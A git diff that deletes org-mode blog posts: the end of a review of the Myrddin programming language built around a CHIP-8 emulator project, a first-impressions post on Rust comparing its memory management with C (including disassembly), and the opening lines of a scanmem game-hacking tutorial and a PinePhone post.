has gone towards developing libraries. - -It took a restless night for me to come up with a project for my exploration. I -took a peek at the [[https://myrlang.org/wishlist][wishlist]], but nothing on it stood out to me. My choices were -restricted somewhat by the limited architecture support: I wanted to work on a -lightweight [[https://en.wikipedia.org/wiki/Imageboard#Danbooru-style_boards][Booru]] engine to use as a self-hosted tagged image gallery, but my -"server"[fn:1] is ARMv6, so I wouldn't have been able to use it myself. Oh well. -The next language I plan to write about uses LLVM as a backend, so I'll have my -opportunity then. Some of the other ideas I toyed with were a text editor and a -Lisp interpreter[fn:5], but I settled on hacking together a CHIP-8 emulator. -That demands some sort of graphical output, so it should be a good opportunity -to demonstrate the C binding support. There's plenty of room to go above the -bare-minimum for features, too, like implementing an assembler, debugger, or -JIT. (I only ended up doing the first of those). Furthermore, it would be (to my -knowledge) the first graphical application writen in Myrddin, and I figure that -a CHIP-8 emulator of my own would be good to have, because if I ever decide to -write a "toy" compiler, CHIP-8 machine code would make for a fun target. But -before we can start writing an emulator, though, we've got to read the docs. - -* Documentation - -The language is niche enough that search engine indexing is a problem, but -documentation does exist. The website has a [[https://myrlang.org/tutorial][tutorial]], a [[https://myrlang.org/doc/index.html][library reference]], and a -[[https://myrlang.org/spec.html][language specification]]. There's also an [[https://myrlang.org/playground][online compiler]], which seems to be the -trendy™ thing to do nowadays. Jesting aside, I do really appreciate that there's -an easy way to hop in and start messing with the language. I do have a some -complaints, though. First, the workings of the memory model are only mentioned -offhandedly in a few spots. With some effort and prior experience writing C, you -can figure it out, but when I'm working with a systems programming language, I -like to understand the lifetimes of my variables. This was incredibly -frustrating when I wrote the assembler for chip; I was constantly dealing with -strings being emptied beneath my feet. My other complaint is that the C binding -interface, despite being presented as a feature on the front page, is mentioned -literally nowhere in the documentation.[fn:4] It took some digging in the -mailing lists to find the [[https://eigenstate.org/archive/myrddin-dev/2015-Oct/0000002.html][only explanation]] of how to use it. - -* Tooling - -There's a [[https://git.eigenstate.org/ori/vim-myr.git/][configuration for vim]] and a [[https://github.com/refi64/howl-myr][bundle for howl]], but I don't use either, -so I wrote my own [[https://git.sr.ht/~jakob/myrddin-mode][major mode]] for GNU Emacs. It's... not great. This is the first -time I've written a major mode, but it still makes for a nicer experience than -writing programs in =fundamental-mode=. There's also support for Myrddin in Ori's -[[https://git.eigenstate.org/ori/ctags-myr.git/][fork of ctags]]. So... yeah. The tooling for /writing/ Myrddin is underwhelming, but -that's mostly a result of the project's size. There are other parts of the -tooling that are worth remarking on, though. - -* Build System - -In true Unix fashion, different parts of the compilation process are broken up -into separate programs. =6m= is the compiler (for AMD64), =muse= is used for symbol -relocation when working with packages, and the good ol' =as= and =ld= on your system -are conscripted to finish the job. This is all orchestrated by the build system -for Myrddin, [[https://myrlang.org/mbld/][mbld]], which I feel strikes a nice balance between utility and -simplicity. Everything is defined in a =bld.proj= file at the root of your source -tree, and the syntax is remarkably similar to the Myrddin language itself. -Here's the setup for chip: - -#+BEGIN_SRC myrddin -bin asm = - asm.myr -;; - -bin chip = - main.myr - lib sdl -;; - -lib sdl = - sdl.myr - sdl.glue.c -;; -#+END_SRC - -Targets are declared by listing the inputs that comprise them. In this case, the -executable for our CHIP-8 assembler, =asm=, is made from the =asm.myr= source file, -and the executable for our CHIP-8 emulator, =chip= is made from the =main.myr= -source file and the =sdl= library, which in turn is made from =sdl.myr= and -=sdl.glue.c=. There are actually quite a few target types supported by mbld (=gen=, -in particular, got me excited, even though I didn't have anything to use it for -at the time). Part of me wishes this was more general-purpose, because I'd use -this as a =make= replacement in a heartbeat if I could. - -Oh, also, if you're on Gentoo, you can install all of these from my [[https://git.sr.ht/~jakob/zerodaysfordays][overlay]]. The -compiler and friends are packaged under =dev-lang/myrddin=. - -The compiler leaves a bit to be desired, though. - -#+BEGIN_SRC prog -jakob@Epsilon ~/Code/chip $ mbld -b asm asm.myr && ./asm - 6m asm.myr -asm.myr:52: type "char" incompatible with "byte" near Otup:(union - `std.None - `std.Some byte[:] -;;,byte[:][:]) - char from asm.myr:24 - byte from asm.myr:8 -FAIL: 6m asm.myr -#+END_SRC - -Compiler error messages are _really_ hard to get right. They're not something I'd -expect a small project like this to nail, so complaining about it feels like -yelling at my houseplant for not making me dinner, but it does get old fast. -Here's another one, in response to trying to invoke =.len= on an array instead of -a slice. - -#+BEGIN_SRC prog -jakob@Epsilon ~/Code/chip $ mbld -b asm asm.myr - 6m asm.myr -6m: typeinfo.c:363: tyoffset: Assertion `ty->type == Tystruct' failed. -CRASH: 6m asm.myr -#+END_SRC - -If you ponder on this for long enough, it /kind of/ makes sense. Y'know, the =.= -dereferencing operator is typically used for structs, and I just introduced some -code that uses that, so maybe that's the issue. But notice that we don't even -have a line number in =asm.myr=. Not a fun thing to track down. - -There are a couple of hard-to-reproduce compiler bugs as well. Take this snippet: - -#+BEGIN_SRC myrddin -use std -use sdl - -const main = { - var win, r, tex - var pixels : uint8[64 * 32] - sdl.init(sdl.INIT_VIDEO) - win = sdl.mkwin(("chip!\0" : byte#), sdl.WIN_POS_UNSPEC, sdl.WIN_POS_UNSPEC, 640, 480, sdl.WIN_OPENGL) - r = sdl.mkrenderer(win, -1, sdl.RENDERER_ACCEL) - tex = sdl.mktexture(r, sdl.PIXFMT_RGB332, sdl.TEXACCESS_STREAM, 64, 32) - - var i - for i = 0; i < 64 * 32; i++; - pixels[i] = (i % 256) - ;; - - sdl.update(tex, (pixels[:] : void#), 64) - sdl.copy(r, tex) - sdl.present(r) - - sdl.delay(1000) - - sdl.freerenderer(r) - sdl.freewin(win) - sdl.quit() -} -#+END_SRC - -#+BEGIN_SRC prog - 6m -O obj -I obj main.myr -/tmp/tmp5e0bdad78953-main.myr.s: Assembler messages: -/tmp/tmp5e0bdad78953-main.myr.s:99: Warning: 256 shortened to 0 -/tmp/tmp5e0bdad78953-main.myr.s:103: Error: can't encode register '%ah' in an instruction requiring REX prefix. -/tmp/tmp5e0bdad78953-main.myr.s:125: Warning: 2048 shortened to 0 -Couldn't run assembler -CRASH: 6m -O obj -I obj main.myr -#+END_SRC - -It compiles fine if you replace the =(i % 256)= with something that doesn't -involve the modulo operator. I came across a handful of issues like this when -writing chip. If you do a =Ctrl+F= for "HACK" in [[https://git.sr.ht/~jakob/chip/tree/master/main.myr][main.myr]], you'll see everywhere I -had to get creative to avoid triggering a compiler bug. Again, though, I'm -asking a lot of a small project when I complain about issues like these. - -* Language Features - -With that out of the way, I suppose it's time to see if Myrddin really is the -practical, small, well defined, and easy to understand language it hopes to be. -If you'd like to look at code I wrote to experiment with these features, the -repository is [[https://git.sr.ht/~jakob/chip][here]]. I chose the name 'chip' as a reference to the bland names -chosen for the [[http://man.9front.org/1/nintendo][emulators provided with 9front]], since Myrddin seems like the kind -of thing that would appeal to those folks. - -** Syntax - -I dig it! The parser deals with logical lines, so semicolons aren't necessary, -but can be used in place of a newline if desired. It ends up feeling a bit like -Go. The only control flow constructs in Myrddin are =if/elif/else=, =while=, and -=for=. I suppose there's =goto= as well, but I haven't had a good reason to use that -yet. =elif= is a cute nod to (presumably) Python. The convenience I'm most -thankful for is the support for tuple destructuring. - -#+BEGIN_SRC myrddin -var a, b -(a, b) = (1, 2) -std.put("a: {}, b: {}\n", a, b) -#+END_SRC - -#+BEGIN_EXPORT html -
- -
-#+END_EXPORT - -** Scoping - -Right off the bat, we're doing better than C. Declarations can appear in any -order, and can be used at any point where they're in scope. In other words, -function prototypes are unnecessary. - -Variable shadowing is half-way there. This works: - -#+BEGIN_SRC myrddin -var a = 1 -if true - var a = 2 -;; -std.put("{}\n", a) // Prints "1". -#+END_SRC - -But with this, the compiler throws a fit about "pattern shadows variable -declared near a:int". - -#+BEGIN_SRC myrddin -var a = 1 -match 1 -| a: std.put("{}", a) -;; -std.put("{}", a) -#+END_SRC - -** Closures - -Yep, there's support for lexical closures. It's rockin'. What's interesting is -that there isn't a special syntax for declaring functions. Instead, you assign -function literals to symbols. - -A minor point, but returning early from a function in Common Lisp is enough of a -pain in the rear that I'd like to point it out here. Myrddin supports multiple -points of exit from a function. - -#+BEGIN_SRC myrddin -const factorial = {n - if n < 1 - -> 1 - ;; - -> n * factorial(n - 1) -} -#+END_SRC - -Of course =if= being an expression in Common Lisp makes =factorial= trivial to -implement without any early-return constructs, but you get the point. - -** Type System - -One difference between Myrddin and some other languages with type inference like -Rust is that Myrddin doesn't require that arguments have a type specifier. This -is valid Myrddin code: - -#+BEGIN_SRC myrddin -use std - -const factorial = {n - if n < 1 - -> 1 - ;; - -> n * factorial(n - 1) -} - -const main = { - std.put("{}! = {}\n", n, factorial(n)) -} -#+END_SRC - -It does start to fall apart if you have unused functions that are more -complicated than the =factorial= example, but for the most part, you can get away -without giving any type specifiers, which is nice. - -There's also support for algebraic data types (with all of your favorites in -=std=, like =std.result=) and pattern matching, which is capable of descending into -the structure of practically any type. Even "pointer chasing," or matching on -the value referenced by a pointer. There's a neat syntax for referring to ADT -variants with backticks, which I think does wonders for readability. The only -beef I have is that I was yearning for an =if let=-type construct the whole time, -but that's a minor point. - -Aside from that, I don't have many comments about the type system. I appreciate -the support for fixed-width integer types and tuples, and I'm glad that there's -support for generics (with traits, =impl=, et al.), even if it isn't something I -used extensively when writing chip. - -After working with Rust, being given access to raw pointers in Myrddin feels -like getting a BB gun for Christmas. They're a bit funky, though. You have to go -out of your way to do pointer arithmetic, which is probably a good thing. - -The syntax for array literals is pretty neat, too. You can selectively -initialize certain indices like =x = [0: 1, 73: 2]=. - -** Package System - -[[https://eigenstate.org/notes/myrmodules][The Myrddin module system is simple and easy to understand. There simply isn't -much to it.]] Really, though, they're little more than a =pkg= clause listing all of -the declarations to be exported. Here's the =pkg= for my SDL2 wrapper: - -#+BEGIN_SRC myrddin -pkg sdl = - const INIT_VIDEO : uint32 = 32 - - extern const init : (flags : uint32 -> int) - extern const quit : (-> void) - - type win = void# - - const WIN_POS_UNSPEC : int = 536805376 - const WIN_OPENGL : uint32 = 2 - - extern const mkwin : (title : byte#, x : int, y : int, w : int, h : int, flags : uint32 -> win) - extern const freewin : (win : win -> void) - - type renderer = void# - - const RENDERER_ACCEL : uint32 = 2 - - extern const mkrenderer : (win : win, index : int, flags: uint32 -> renderer) - extern const copy : (r : renderer, tex : texture -> int) - extern const present : (r : renderer -> void) - extern const freerenderer : (r : renderer -> void) - - type texture = void# - - const PIXFMT_RGB332 : uint32 = 336660481 - const TEXACCESS_STREAM : int = 1 - - extern const mktexture : (r : renderer, fmt : uint32, access : int, w : int, h : int -> texture) - extern const update : (tex : texture, pixels : void#, pitch : int -> int) - extern const freetexture : (tex : texture -> void) - - extern const delay : (ms : uint32 -> void) - - const SCANCODE_1 : uint8 = 30 - const SCANCODE_2 : uint8 = 31 - const SCANCODE_3 : uint8 = 32 - const SCANCODE_4 : uint8 = 33 - const SCANCODE_Q : uint8 = 20 - const SCANCODE_W : uint8 = 26 - const SCANCODE_E : uint8 = 8 - const SCANCODE_R : uint8 = 21 - const SCANCODE_A : uint8 = 4 - const SCANCODE_S : uint8 = 22 - const SCANCODE_D : uint8 = 7 - const SCANCODE_F : uint8 = 9 - const SCANCODE_Z : uint8 = 29 - const SCANCODE_X : uint8 = 27 - const SCANCODE_C : uint8 = 6 - const SCANCODE_V : uint8 = 25 - const SCANCODE_ESC : uint8 = 41 - - extern const getkbd : ( -> uint8[256]#) -;; -#+END_SRC - -Packages are imported with a =use= clause, and relative imports are supported if -the package name is wrapped in double quotes. - -* Standard Library - -It's very nice. You'll be using =libstd= and =libbio=, the buffered input/output -library, mostly, but there's support for dates, HTTP, INI parsing, JSON, regular -expressions, threading, and making system calls, all out of the box. - -=libstd= provides the basic I/O functions we all expect, which work with format -specifiers that are simpler than but similar to Rust's. They look like this: - -#+BEGIN_SRC myrddin -std.put("{} + {} = {}\n", 2, 2, 5) -#+END_SRC - -There's a [[https://myrlang.org/doc/libtestr/][unit testing library]]. It isn't awful, but it isn't particularly wieldy -either. The example at the bottom of that page was enough to discourage me from -taking a TDD-style approach with chip. - -* Conclusion - -I like Myrddin a lot, and I feel it lives up to its promises of being practical -and small. But at the end of the day, I don't think I'll be using it until it's -matured some more -- the limited architecture support and frustrating compiler -bugs are enough to turn me off. I'm hopeful, though. There's work underway to -write a self-hosted compiler using [[https://c9x.me/compile/][QBE]] as a backend, and we're only at release -0.3.0, so I'm certain the situation with tooling should improve in time. Maybe -this is my cue to quit whining and get hacking. See ya on the mailing lists! - -[fn:1] At the moment, a Raspberry Pi B+. It does the job, but I'm afraid of blowing the 512MB RAM trying to run a full MediaGoblin instance on it. -[fn:2] Hell, the tutorial recommends limiting lines to 60 characters in length. -[fn:3] It's worth mentioning that irc.myr is /really/ impressive for what it is. It uses native [[https://git.eigenstate.org/npnth/libtermdraw.git/tree][terminal drawing library]] instead of ncurses, and the interface is probably the best out of any of these irssi-like clients. If I weren't so enamored with [[https://en.wikipedia.org/wiki/ERC_(software)][ERC]], I'd probably be using it as my daily driver. Also, I wrote this sentence prior to discovering that [[https://github.com/andrewchambers/qc][qc]] was written in Myrddin -- that's another example of a program written in Myrddin worth looking at. -[fn:4] I still maintain this complaint because it's true of the official documentation, but I need to give Ori a break here: in editing this article, I came across the page on his personal website describing it. See "[[https://eigenstate.org/notes/mcbind.html][Automatic C Binding Generation for Myrddin]]". I didn't use mcbind for the SDL binding library I put together because I thought function names like =sdl.SDL_UpdateTexture= would stick out like a sore thumb among the surrounding Myrddin code. -[fn:5] After posting this, [[https://mastodon.sdf.org/web/accounts/225228][wasamasa]] reached out to me with his attempt at a [[https://github.com/wasamasa/mal-candidates/tree/master/myrddin][Lisp interpreter]] in Myrddin. I had a fun time reading through what's there, so I figured I'd drop a link to it. Be sure to look at =notes.md=. diff --git a/org/First Impressions of the Rust Programming Language/first-impressions-of-the-rust-programming-language.org b/org/First Impressions of the Rust Programming Language/first-impressions-of-the-rust-programming-language.org deleted file mode 100644 index 1bb85d2..0000000 --- a/org/First Impressions of the Rust Programming Language/first-impressions-of-the-rust-programming-language.org +++ /dev/null @@ -1,445 +0,0 @@ -#+TITLE: First Impressions of the Rust Programming Language -#+DATE: <2018-06-08 Fri 13:02> -#+TAGS: opinion, programming, rust - -C is almost 50 years old, and C++ is almost 40 years old. While age is usually -indicative of mature implementations with decades of optimization under their -belts, it also means that the language's feature set is mostly devoid of modern -advancements in programming language design. For that reason, you see a great -deal of encouragement nowadays to move to newer languages - they're designed -with contemporary platforms in mind, rather than working within the limitations -of platforms like the PDP-11. Among said "new languages" are Zig, Myrddin, Go, -Nim, D, Rust... even languages like Java and Elixir that run on a virtual -machine are occasionally suggested as alternatives to the AOT-compiled C and -C++. - -I have plans to look into the characteristics that distinguish each and every -one of these new programming languages, learning them and documenting my first -impressions in the form of blog posts. This post is the beginning of that -adventure: my first impressions of Rust. I chose to evaluate Rust first rather -than one of the other aforementioned contenders for a few reasons. For one, it's -backed by some big names like Mozilla, so I'm expecting it to have more polished -documentation than its independently developed counterparts - we might as well -step off with a language that I can learn without needing to read the compiler's -source code. Also, I've been fairly critical of Rust in the past because that -view was in-line with the opinions of my friends, but now that I've decided to -go out of my way to learn a new programming language, I might as well use this -as an opportunity to see if my criticisms were unfounded. - -Learning these new programming languages is certainly going to be an -undertaking. Because Python and C were the first languages I was introduced to, -I was able to simply buckle down, learn them, and apply them to pretty much -everything I was doing at the time. When I tried to learn other languages later -on, though, I had a hard time gauging whether or not I was making progress. I -think that this is because I wasn't engaged with what I was learning; I was, at -most, writing trivial programs with the language I was learning, and defaulting -to C or Python whenever I needed to work on a "real" project. My goal is to -learn these new languages to the extent that I can meaningfully evaluate them, -so I've looked back on my past attempts and come to the conclusion that I either -need to use them to develop something nontrivial, or make contributions to a -free software project written in the language, as suggested by [[https://hackernoon.com/unconventional-way-of-learning-a-new-programming-language-e4d1f600342c][several]] [[https://codewithoutrules.com/2017/09/09/learn-a-new-programming-language/][articles]]. -In the case of this post, it will be the former, as I've actually come to like -Rust enough to use it for my [[https://github.com/TsarFox/rebuild][reimplementation of Ken Silverman's BUILD engine]]. - -With my introduction for this series out of the way, we can get into my first -impressions of Rust. The first step was diving into the documentation to learn -it, so I guess it would make sense to begin with that. Simply put, there is no -shortage of high-quality learning material for Rust. [[https://doc.rust-lang.org/book/second-edition/index.html]["The Rust Programming -Language,"]] the equivalent of TCPL for Rust, is surprisingly well-written. Even -if you're familiar with a systems programming language like C, I would still -recommend reading it cover-to-cover. I had initially started off with the "Rust -for C++ Programmers" and the "Learn X in Y Minutes" tutorial for Rust, but until -I read TRPL, there was a lot that didn't make sense, and I was completely lost -when it came to using the standard library. The book is friendly, encouraging, -and full of great examples that outline common patterns in the standard library -and various third party crates. My only real complaint with TRPL is that some of -the the analogies step foot into the territory of [[https://www.hillelwayne.com/post/monad-tutorials/][monad tutorials]]. Some -exceptional examples are comparing a [[https://doc.rust-lang.org/book/second-edition/ch15-04-rc.html][reference-counting pointer to the TV in a -family room]], or comparing [[https://doc.rust-lang.org/book/second-edition/ch04-01-what-is-ownership.html][references to tables at a restaurant]]. They aren't all -bad, and there are a few that I actually really enjoy, like the comparison of -[[https://doc.rust-lang.org/book/second-edition/ch16-02-message-passing.html][message passing concurrency to a river]], but most of them try too hard to relate -the concept to something in the real world that it ends up being unhelpful. -Fortunately, the book is on GitHub and accepts pull requests, so I have plans to -send in suggestions for some alternatives. - -Despite the presence of great documentation, I predict that most people are -still going to have a hard time learning Rust. It brings some concepts that you -probably haven't seen before. As far as I'm aware, this is the first programming -language to offer compile-time memory management. (C++ has smart pointers which -are definitely similar, but those rules are enforced at runtime. Rust tightly -integrates its concepts of ownership and lifetimes into the compiler.) TRPL does -a good job of introducing the concepts for compile-time memory management, but I -feel that that it only really scratches the surface. For that reason, I'd like -to point anyone learning Rust to a great supplementary resource on the -memory-model: [[http://cglab.ca/~abeinges/blah/too-many-lists/book/]["Learning Rust With Entirely Too Many Linked Lists"]]. It's -hands-on, and just about as approachable as TRPL. [[http://softwaremaniacs.org/blog/2016/02/12/ownership-borrowing-hard/en/][This post]] might also help if -you're having trouble grasping the general concept. - -That brings me to another point - the features that Rust brings to the table -might be difficult to learn, but learning to use them pays off in the end. -Compile-time memory management requires designing your programs in a way you -might not be used to, but it definitely beats manual memory management, or -letting a runtime take care of garbage collection. - -C's memory model, for example, is manually managed. Heap allocations are -performed via =malloc(3)= and =calloc(3)=, and those allocations exist until -=free(3)= is called. Take this trivial piece of code for making a heap -allocation containing a string: - -#+BEGIN_SRC c :hl_lines 0 -#include -#include -#include - -int main(int argc, char **argv) { - char *buf; - - // Make a heap allocation of 14 bytes. - buf = calloc(14, 1); - - // calloc(3) CAN return a null pointer. - if (buf == NULL) { - return 1; - } - - // Fill the allocated buffer with a string, and print it. - strcpy(buf, "Hello, world!"); - puts(buf); - - // Free the heap allocation, since we're done with it. - // This won't always be at the end of the function, but it usually will be. - free(buf); - - return 0; -} -#+END_SRC - -This model requires keeping track of the allocations you make and ensuring that -they're freed when they aren't needed anymore - we easily could've forgotten -that call to =free(3)=. In this really trivial example, it doesn't matter -because the process exits and the operating system reclaims the heap page, but -if the program kept running after printing that string, we'd be dealing with a -memory leak. Anyway, C's manual memory management is explicit enough that you -can more or less predict what this will compile down to. GCC 6.4.0 emits -following amd64 code: - -#+BEGIN_SRC asm :hl_lines 0 - # Prelude. -55 pushq %rbp -4889e5 movq %rsp, %rbp -4883ec20 subq $0x20, %rsp -897dec movl %edi, -0x14(%rbp) -488975e0 movq %rsi, -0x20(%rbp) - - # calloc(14, 1), store pointer on the stack. -be01000000 movl $1, %esi -bf0e000000 movl $0xe, %edi -e892feffff callq sym.imp.calloc -488945f8 movq %rax, -8(%rbp) - - # Check for null pointer. -48837df800 cmpq $0, -8(%rbp) -7507 jne 0x750 -b801000000 movl $1, %eax -eb3b jmp 0x78b - - # (Really optimized) call to strcpy. -488b45f8 movq -8(%rbp), %rax -48ba48656c6c. movabsq $0x77202c6f6c6c6548, %rdx -488910 movq %rdx, 0(%rax) -c740086f726c. movl $0x646c726f, 8(%rax) -66c7400c2100 movw $0x21, 0xc(%rax) - - # puts(buf) -488b45f8 movq -8(%rbp), %rax -4889c7 movq %rax, %rdi -e846feffff callq sym.imp.puts - - # free(buf) -488b45f8 movq -8(%rbp), %rax -4889c7 movq %rax, %rdi -e82afeffff callq sym.imp.free - - # Teardown. -b800000000 movl $0, %eax -c9 leave -c3 retq -0f1f00 nopl 0(%rax) -#+END_SRC - -The equivalent in Rust is similar, but as you'll see, we don't need to -explicitly free the heap allocation. - -#+BEGIN_SRC rust :hl_lines 0 -use std::io; -use std::io::Write; - -fn main() { - let buf = Box::new(b"Hello, world!\n"); - io::stdout().write(*buf); -} -#+END_SRC - -rustc 1.25 compiles this down into the following amd64 code[fn:1]: - -#+BEGIN_SRC asm :hl_lines 0 - # Prelude. -4883ec48 subq $0x48, %rsp - - # Heap allocation, made by the 'std::boxed::Box' smart pointer. -b808000000 movl $8, %eax -89c1 movl %eax, %ecx -4889cf movq %rcx, %rdi -4889ce movq %rcx, %rsi -e8caedffff callq sym.alloc::heap::exchange_malloc::h42fa40019bea1ed3 - - # We actually end up storing a reference to the bytestring, rather than copying the individual bytes into the box. - # Regardless, I think this should still illustrate heap allocation fairly well, and I'm trying to keep the example somewhat simple so we'll roll with it. -488d0de3e705. leaq str.Hello__world, %rcx -4889c6 movq %rax, %rsi -488908 movq %rcx, 0(%rax) -4889742410 movq %rsi, 0x10(%rsp) - - # Get the handle to stdout. -e855590000 callq sym.std::io::stdio::stdout::h537f6f9874379378 -4889442408 movq %rax, 8(%rsp) -488b442408 movq 8(%rsp), %rax -4889442430 movq %rax, 0x30(%rsp) - - # stdout.write(*buf); -488b4c2410 movq 0x10(%rsp), %rcx -488b11 movq 0(%rcx), %rdx -be0e000000 movl $0xe, %esi -89f1 movl %esi, %ecx -488d7c2418 leaq 0x18(%rsp), %rdi -488d742430 leaq 0x30(%rsp), %rsi -e8965a0000 callq sym._std::io::stdio::Stdout_as_std::io::Write_::write::h12094683b11bc5a8 - - # Free the 'std::io::Result' that's returned by 'write'. - # We didn't check its, which is considered bad form, but this is just a simple example. -488d7c2418 leaq 0x18(%rsp), %rdi -e8fef4ffff callq sym.core::ptr::drop_in_place::h72bdea260ebb17c9 - - # Free the stdout handle. -488d7c2430 leaq 0x30(%rsp), %rdi -e8a6f4ffff callq sym.core::ptr::drop_in_place::h55479d5b85e18c56 - - # Finally, free the heap allocation we made. -488d7c2410 leaq 0x10(%rsp), %rdi -e8faf5ffff callq sym.core::ptr::drop_in_place::ha5ac9a364139ad29 - - # Teardown. -4883c448 addq $0x48, %rsp -c3 retq -#+END_SRC - -Besides needing to allocate a handle to interact with stdout, rustc's emitted -assembly does pretty much the same thing as that of GCC - allocate a buffer, -fill it, then free it when we're done using it. Rust just façades this process -with a friendlier abstraction. - -Another feature I've come to really enjoy is that there are no more NULL -pointers - they've been replaced by a strict type system à la Haskell. In the C -example above, we saw that =calloc(3)= can return =NULL= if glibc isn't able to -allocate enough memory. We easily could've forgotten to put in the check to make -sure the it isn't =NULL=, in which case we would get a segmentation fault. -Preventing this sort of thing is what people are talking about when they say -"memory safety." For a segmentation fault, the operating system has to jump in -because we're doing something we shouldn't - dereferencing a =NULL= pointer. -There are plenty of other naughty things we can do in C, like freeing a heap -allocation twice, or even worse, writing outside the bounds of a buffer. Rust -aims to have the compiler step in when we do something dumb, rather than leaving -that to the operating system or exploit mitigation systems. To do this for -=NULL=-able references, Rust provides an =Option= type (and the =Result= type) -that can represent either something or nothing. You see it used extensively in -the standard library. Consider the =find= method of =std::string::String=, a -method for finding the index of a substring in a string. There's the possibility -that the substring exists in the string, in which case we'd just return that -index, but what if it doesn't exist? In the case of C, we might return some -silly value like '-1', but in Rust, we return an =Option= - either some -=usize= value, or nothing. And the compiler makes sure we understand the -implications of this. - -#+BEGIN_SRC rust :hl_lines 0 -fn main() { - let to_search = String::from("I may contain foo."); - let index = to_search.find("foo"); - println!("index - 5: {}", index - 5); -} -#+END_SRC - -This is a pretty inane example, but please bear with me. If we try to compile -this, rustc errors out, because we're trying to treat a variable that might -represent nothing as if it were guaranteed to be something. - -#+BEGIN_SRC -error[E0369]: binary operation `-` cannot be applied to type `std::option::Option` - --> test.rs:4:31 - | - 4 | println!("index - 5: {}", index - 5); - | ^^^^^^^^^ - | - = note: an implementation of `std::ops::Sub` might be missing for `std::option::Option` -#+END_SRC - -This would be fixed by inspecting the Option, ensuring that it *is* something, -rather than nothing. It's an algebraic data type, so we can destructure it and -work with the index if =find= returned something. - -#+BEGIN_SRC rust :hl_lines 0 -fn main() { - let to_search = String::from("I may contain foo."); - if let Some(index) = to_search.find("foo") { - println!("index - 5: {}", index - 5); - } -} -#+END_SRC - -=if let= is a syntax construct that I don't think any other language has, so I -should probably give a brief explanation. That =if= block will run if and only -if =find= returned an instance of =Option= that was =Some=, rather than =None=. -If an instance of =Some= is returned, it contains our index, so we can -destructure it and set that value to the variable, =index=, which we go on to -use. - -You might expect this strictness to bring frustration, but the compiler emits -errors worded simply enough that a layman could understand them, and often makes -suggestions for fixing the code in question. The above isn't a great example, -here's a better one: - -#+BEGIN_SRC rust :hl_lines 0 -fn tabulate_slice(slice: &[u8]) { - for elem in slice.iter() { - println!("{}", elem); - } -} - -fn main() { - let vec = vec![1, 2, 3]; - tabulate_slice(vec); -} -#+END_SRC - -#+BEGIN_SRC -error[E0308]: mismatched types - --> test.rs:9:20 - | - 9 | tabulate_slice(vec); - | ^^^ - | | - | expected &[u8], found struct `std::vec::Vec` - | help: consider borrowing here: `&vec` -#+END_SRC - -Rust has a great deal of functionality that makes it feel like your typical -high-level Ruby or Python, despite being a compiled language. And it isn't -limited to what I described above - here are a few of the other features I -was really impressed with: - -* Conditionals are Expressions - -#+BEGIN_SRC rust :hl_lines 0 -let var = if true { - 1 -} else { - 2 -}; -#+END_SRC - -* No parentheses for the expression part of if/while/for - -Heh, I bet you've seen enough of that already. - -* Semantics for Infinite Loops - -#+BEGIN_SRC rust :hl_lines 0 -loop { - break; -} -#+END_SRC - -* Semantics for Unused Variables/Parameters - -#+BEGIN_SRC rust :hl_lines 0 -for _ in 0..5 { - println!("I'm printed 5 times!"); -} -#+END_SRC - -* Range Notation, Type Inference, and Iterators - -Again, you've seen these already. - -* Tuples, Destructuring, and Pattern Matching via =match= and =if let= Expressions - -#+BEGIN_SRC rust :hl_lines 0 -match to_search.find("foo") { - Some(index) => println!("Foo at {}", index), - None => println!("No foo :("), -} - -// Or, more idiomatically: - -if let Some(index) = to_search.find("foo") { - println!("Foo at {}", index); -} else { - println!("No foo :("); -} -#+END_SRC - -* Automated Testing is Integrated Into the Build System - -#+BEGIN_SRC rust :hl_lines 0 -#[cfg(test)] -mod tests { - #[test] - fn it_works() { - assert_eq!(2 + 2, 4); - } -} -#+END_SRC - -This will be run upon invocation of =cargo test=. - -* Isolation of Unsafe Code - -There's a set of [[https://doc.rust-lang.org/book/second-edition/ch19-01-unsafe-rust.html][rules]] to ensure that the implications of working with unsafe -code are properly contained, but the gist of it is that unsafe code is isolated -by the scoping system. Mostly, I'm glad that the language allows you to work -with unsafe code at all. - -#+BEGIN_SRC rust :hl_lines 0 -fn main() { - unsafe { - asm!("INT3"); - } -} -#+END_SRC - ---- - -That's my opinion on the language design aspect, but the community and ecosystem -are important as well. My experience with the Rust community is limited, but -from what little I have seen, those in the community are friendly and rational. -I submitted [[https://github.com/mattnenterprise/rust-imap/issues/67][a few issues to rust-imap]] and received prompt and helpful responses. -I can also confidently say that the Rust ecosystem a pleasure to work with. It -obviously isn't as mature as some other language ecosystems, but adding a -"crate" dependency to your projects is as easy as adding a line to your -'Cargo.toml'. It's equally easy to publish the code and documentation for crates -you've made yourself. I threw together [[https://github.com/TsarFox/wildmidi][a library for interacting with WildMIDI]], -and a [[https://docs.rs/][docs.rs]] page popped up without any intervention from me. Painless. - -The process of linking those crates into the executable is relatively primitive, -and there are a few complaints in that respect. It's mostly static linking, so -the argument is "you get outdated copies of several libraries on your computer." -However, the benefits of dynamic linking as the alternative is a [[http://harmful.cat-v.org/software/dynamic-linking/][debate I don't -want to get into in this post]]. Right now I'll leave it as, "it's not an option -in the current implementation, and that's a disadvantage," even if I'm -blissfully ignorant of the size of my Rust binaries and /might/ have some -complaints about dynamic linking. - -All in all, I'm very happy with Rust. Maybe it isn't "there" yet as a viable -replacement to C, but it's promising and I have a feeling that, with time, it -will fit nicely into GNU/Linux ecosystem. - -[fn:1] A previous version of this post included *all* of the assembly emitted by the compiler, but in this revision, I've chosen to remove Rust's error/panic handling code because I believe that it actually detracts from the concept I'm trying to show. diff --git a/org/Gaming Hacking on Linux - scanmem Basics/game-hacking-on-linux-scanmem.org b/org/Gaming Hacking on Linux - scanmem Basics/game-hacking-on-linux-scanmem.org deleted file mode 100644 index 6e7cf1f..0000000 --- a/org/Gaming Hacking on Linux - scanmem Basics/game-hacking-on-linux-scanmem.org +++ /dev/null @@ -1,8 +0,0 @@ -#+TITLE: Game Hacking on Linux - scanmem Basics -#+DATE: <2017-06-18 Sun 11:51> -#+TAGS: tutorial, reverse-engineering, linux, video-games, game-hacking -#+CROSSPOST: https://0x00sec.org/t/game-hacking-on-linux-scanmem-basics/2458 - -Hey, this is a very brief tutorial on scanmem, a memory manipulation tool for -Linux that’s well suited to game hacking. I’ll be using GZDoom as an example, -but you should be able to follow along with any game you want. diff --git a/org/I Love My PinePhone/i-love-my-pinephone.org b/org/I Love My PinePhone/i-love-my-pinephone.org deleted file mode 100644 index dfdcfd5..0000000 --- a/org/I Love My PinePhone/i-love-my-pinephone.org +++ /dev/null @@ -1,2385 +0,0 @@ -#+TITLE: I Love My PinePhone -#+DATE: <2022-08-26 Fri 06:29> -#+TAGS: writeup, programming, arm, rust, 